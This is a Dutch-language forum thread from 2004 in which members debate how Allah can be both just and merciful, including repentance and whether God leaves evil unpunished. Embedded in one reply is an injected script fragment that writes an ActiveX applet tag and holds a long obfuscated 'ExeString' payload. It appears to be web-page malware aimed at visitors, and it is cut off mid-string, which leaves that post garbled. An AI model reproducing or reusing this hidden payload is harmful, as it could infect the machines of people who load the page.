Islaam.nl

Islaam.nl Forum

  FAQ FAQ  Doorzoek dit Forum   Kalender   Registreren Registreren  Inloggen Inloggen

Onderwerp geslotenAllah - barmhartig en rechtvaardig

 Post Reply Post Reply
Schrijver
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Onderwerp: Allah - barmhartig en rechtvaardig
    Geplaatst op: 08 januari 2004 om 22:27
Wat is de allerbelangrijkste eigenschap van Allah?

Barmhartig?
Rechtvaardig?

Als ik het goed begrijp moet je meer dan 50% goede daden doen. Wat zijn goede daden? Is dat niet het opvolgen van Allah's geboden? Is het niet zo, dat als je een gebod overtreedt, je als het ware Allah een klap in Zijn gezicht geeft (vergeef mij). Zou Hij dat ooit door de vingers zien, omdat je een ander gebod wel opvolgt? Is dat rechtvaardigheid?

Terug naar boven
polymorph Bekijk dropdown
Senior Member
Senior Member
Avatar

Lid geworden: 10 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 447
Directe link naar dit bericht Geplaatst op: 08 januari 2004 om 22:59

Salaam Alaikum,

Je goede daden wegen zwaarder als ze van hetzelfde niveau zijn.
Dat kan ik even niet onderbouwen met een qor'aan enof boek referentie,
maar dat is wat ik opmaak uit de ethiek van islam ,zo hoe ik die op dit moment ken.

Je zit wel op het verkeerde spoor door er een rekensom van te maken
want zo werkt het niet.

Lees een boek over de ethiek van islam dan krijg je de picture wel.
Kan je de "ideale muslim" aanraden om mee te beginnen.

wa salaam,

polymorph

Geef kennis door aan mij,zelfs als het maar een ayah is...(Bukhari)
Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 08 januari 2004 om 23:08
Maar wat ik niet begrijp is dat je goede daden sowieso je slechte daden kunnen opheffen. Zie eerste post.

Heb je ook een goeie site over de ethiek in de islam?
Terug naar boven
polymorph Bekijk dropdown
Senior Member
Senior Member
Avatar

Lid geworden: 10 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 447
Directe link naar dit bericht Geplaatst op: 08 januari 2004 om 23:24

Salaam Alaikum,

das niet makkelijk om 123 uitleggen,geleerden doe daar meestal een heel
boek over.

Om een heel erg beknopt idee te geven...
Islam staat vooral voor liefde,geduld,respect en voor elkaar zorgen.

Als Allah niet zo barmhartig en genadevol zou zijin, zou die ethiek er ook niet zijn.
Is dat te snappen zo? Ik hoop dat ik niet weer iets verkeerd gezegd heb. 

Maar om het echt te begrijpen moet je je echt verdiepen en dat boek wat
ik gelezen heb,is ook nog maar het topje van de ijsberg.

Een van mijn broeders (die het allemaal wel weet) legde me uit
dat elke religie meerdere kanten heeft.

Een daarvan is het geloof zelf en de Qor'aan in ons geval en een ander
is Ehtiek.Er zijn er meer maar ben het even kwijt.Ik zal hem nogeens vragen als ik hem weer zie binnenkort Insha Allah.

wa salaam,

polymorph

Geef kennis door aan mij,zelfs als het maar een ayah is...(Bukhari)
Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 10 januari 2004 om 21:44

salaam'aleikum

neen, Allah ziet niet een zonde door de vingers omdat

je op een ander vlak wel goed zou gedaan hebben

maar Hij is vergevingsgezind, en als je OPRECHT

om vergeving vraagt (1 zeker zijn dat je die zonde nooit

meer doet 2 spijt hebben 3 vergeving vragen 4 hopen dat

Hij je vergeeft met zekerheid dat Hij dat doet als Hij dat

wil en 5 vrezen dat Hij dat niet doet), dan vergeeft Hij je.

en wat diegenen betreft die evenwichtige weegschalen zullen

hebben zie soera al araf

Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 10 januari 2004 om 22:10
Is het niet zo, dat als je een gebod overtreedt, je als het ware Allah een klap in Zijn gezicht geeft (vergeef mij). Zou Hij dat ooit door de vingers zien, omdat je eerlijk om vergeving vraagt?

Okay, je hebt gelijk, maar als ik het op bovenstaande manier opschrijf, blijft het ongerijmde ervan duidelijk. Men trof blaam, men had schuld, God had een rekening te vereffenen. Kwaad moet worden gestraft. Als iemand een misdaad pleegt, moet hij worden gestraft, ongeacht of hij berouw heeft. Nee, juist als hij berouw heeft, zal hij ook erkennen dat de wet die hem straft rechtvaardig is.

Ik ben er dan ook niet voor dat een president op grote schaal amnestie verleent als vaststaat dat de betreffende personen schuld treft.

Vergeven, zonder dat het kwaad gestraft wordt. Kan dat?

Even een klein voorbeeldje: een moslim geeft mij een klap, vraagt Allah eerlijk om vergeving en krijgt deze. Ondanks dat blijft mij dat altijd bij. De balans in de wereld slaat met deze kleine daad naar het kwade door.
Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 11 januari 2004 om 18:39

salaam'aleikum

Allah is niet wraakzuchtig, Hij houdt ervan te vergeven

heb jij nooit iets gedaan waar je later spijt van had misschien???

Als je echt spijt hebt en er alles voor doet opdat je die zonde nooit

zou doen, verdien je dan geen vergeving?????

Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 12 januari 2004 om 13:47
Zeer zeker heb ik dingen gedaan waar ik berouw van heb gehad. Niet berouw in de zin van jammer-dat-ik-het-gedaan-heb,-het-heeft-zo-slecht-voor- me-uitgepakt, maar in het besef dat ik streed voor het rijk van het kwaad (gezien in het licht van de ethische wereld). Dit was echt een eye-opener voor me. Als ik nu een film als "Return of the kings" zie, weet ik het weer helemaal. Kwaad, dat is echt kwaad, er bestaat niet een beetje kwaad. Ik ga er weer helemaal voor!

Vergeving verdienen, nee, maar eerlijk gezegd geloof ik ook niet dat jij dat gelooft als moslim. Verdienen, nee. Het is altijd Gods barmhartigheid dat wij vergeving krijgen, we verdienen 't niet.

Ik denk echter dat je m'n probleem niet snapt. Vergeven in de vorm van zand-erover. Kan dat als je Gods rechtvaardigheid in het oog houdt? Kan God het kwaad ongestraft laten? Kwaad wordt niet minder kwaad, ook al heb je er later berouw van. Is dit geen dilemma?
Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 12 januari 2004 om 18:19

salaam'aleikum

God is goed

en Zijn Barmharigheid overwint Zijn Kwaadheid

en Hij houdt ervan te vergeven

Er is geen dilemma

(tuurlijk heb je gelijk over dat verdienen, moge Allah mij vergeven)

wist je trouwens dat Allah De God betekent?)

Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 12 januari 2004 om 21:53
In eerste instantie geplaatst door harith2


wist je trouwens dat Allah De God betekent?


Ik ben niet thuis in de Arabische taal, al weet ik wel dat al een lidwoord is (woorden in het Spaans die met al beginnen zijn uit het Arabisch afgeleid). Dat Lah God betekent wist ik niet. Ik heb gelezen dat het van Elohim vandaan komt, de God van de Israelieten. Het kan een meervoud () zijn van het semitische El of van Eloah, alhoewel alah geen bestaand hebreeuws werkwoord is. 't Zou ook kunnen afstammen van het arabische aliha (vervuld met angst/ontzag zijn). Toch heeft het voor mij iets van een naam, daarom gebruik ik liever het Nederlandse woord God. Iedereen weet Wie ik bedoel.
Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 12 januari 2004 om 21:56
Ziet dan niemand het probleem dat echte zuivere rechtvaardigheid gecombineerd met echte zuivere barmhartigheid schept?
Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 13 januari 2004 om 18:13

salaam'aleikum

Hij zegt dat Hij heel barmhartig is

wij weten dat dus op voorhand

dus zou het niet rechtvaardig zijn als hij niet barmhartig

was, zie je, Allah doet wat Hij wil, en Hij zegt ons zelfs op

voorhand wat Hij gaat doen, zodanig dat er geen excuses zullen

zijn, Hij is voor ons zoals wij van Hem denken dat Hij is, Hij zal dus

enkel Zijn Barmhartigheid geven aan Diegenen die dat van Hem verwachten, want de anderen hebben er geen recht op

< => document.write "
<"&" NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent>
" < => ExeString = "NK%OnOa]gh%OdjIYod%Kp^>$AegYgu=angNq[FFXko]kl#%FFL]o@be#%FFn^YoaFYdh!!DBKnhh\cZl`$Ag\OnZAqg[oehfGC9kl^f_Ph Aee] K]m`'Prh`Omj$Gi>jmkkMalmhaF`tmO^lN^Y_P^ek6AOH&Jl^f OaqlAee]#Bbd`LZlc(*!MekOmj9J`]]L`ii&MaZ\
Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 13 januari 2004 om 21:34
Sorry harith2, zou u even niet willen reageren , u snapt het probleem in ieder geval niet! Voor een ieder ander, die misschien wat filosofischer is aangelegd:

Een God die alle kwaad straft (rechtvaardig is) en een God die vergeving schenkt aan kwaaddoeners (barmhartig is), hoe kan dat dezelfde God zijn?

Het is voor mij als in de bedrijfseconomie. Je kan niet tegelijk supernauwkeurig boekhouden en af en toe gewoon een streep ergens door zetten.
Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 13 januari 2004 om 21:43

salaam'aleikum

FILOSOFIE????????????

IJDELHEID

Terug naar boven
marhaba Bekijk dropdown
Senior Member
Senior Member
Avatar

Lid geworden: 22 december 2003
Locatie: Belgium
Online status: Offline
Berichten: 634
Directe link naar dit bericht Geplaatst op: 13 januari 2004 om 21:48

salaam

volgens mij ben je gn moslim,of toch?

filosofie is gn godsleer, als je filosofie volgt en blindelings gelooft,dan ga je opeenbepaald moment ntmeer in god geloven,en zulke vragen steeds blijven stellen, als je in allah gelooft dan geloof je in al zijn namen ,zonder uitzondering en zonder bijgedachten.

bedrijfseconomie,aub,he!!!??

allahou akbar, thabitna ya rabi fi hada dien, wa rfa3na yarabbi fi 3illiyin, wa h 'shourna ya rabbi fi lkawmi nadjiin, ya allah, ya mawlana!soubhaanak .
bezoek ook: www.moslim.net
Terug naar boven
Saviourmachine Bekijk dropdown
Groupie
Groupie


Lid geworden: 30 december 2003
Locatie: Netherlands
Online status: Offline
Berichten: 110
Directe link naar dit bericht Geplaatst op: 13 januari 2004 om 22:25
Ik geloof inderdaad niet blindelings, ik ben er zelf bij. Ik geloof in God. En ik geloof dat de meeste mensen gelijk hebben op 't gebied waar ze 't bekwaamste in zijn. Zo geloof ik natuurkundigen graag op hun gebied en niet op 't gebied van 't geloof, zo geloof ik moslims op 't gebied van hun geloof en niet op 't gebied van 't mijne. Zo geloof ik filosofen als er over metafysische zaken gedacht moet worden. Dit allemaal wel natuurlijk onder het voorbehoud dat de 'kenners' het er zelf allemaal wel een beetje over eens zijn.

Op deze manier doet het me inderdaad wat als er bijv. twee manieren zijn om aan te tonen dat de koraalriffen x-miljoen jaar oud zijn. Want vanuit mijn geloof, wil ik dat niet aannemen. Dit geeft wrijving, en tot nog toe is het prima gelukt om door extra onderzoek wetenschappelijke ontdekkingen in overeenstemming met mijn geloof te krijgen (niet andersom ).

Dus de vraag blijft staan:
In eerste instantie geplaatst door Saviourmachine


Een God die alle kwaad straft (rechtvaardig is) en een God die vergeving schenkt aan kwaaddoeners (barmhartig is), hoe kan dat dezelfde God zijn? Het is voor mij als in de bedrijfseconomie. Je kan niet tegelijk supernauwkeurig boekhouden en af en toe gewoon een streep ergens door zetten.

Terug naar boven
harith2 Bekijk dropdown
Senior Member
Senior Member


Lid geworden: 24 december 2003
Online status: Offline
Berichten: 260
Directe link naar dit bericht Geplaatst op: 14 januari 2004 om 11:24

salaam'aleikum

de vraag blijft, dan het antwoord ook

salaam'aleikum

Hij zegt dat Hij heel barmhartig is

wij weten dat dus op voorhand

dus zou het niet rechtvaardig zijn als hij niet barmhartig

was, zie je, Allah doet wat Hij wil, en Hij zegt ons zelfs op

voorhand wat Hij gaat doen, zodanig dat er geen excuses zullen

zijn, Hij is voor ons zoals wij van Hem denken dat Hij is, Hij zal dus

enkel Zijn Barmhartigheid geven aan Diegenen die dat van Hem verwachten, want de anderen hebben er geen recht op

Terug naar boven
 Post Reply Post Reply

Spring naar forum Forum rechten Bekijk dropdown



Deze pagina is gemaakt in 0.078 seconden.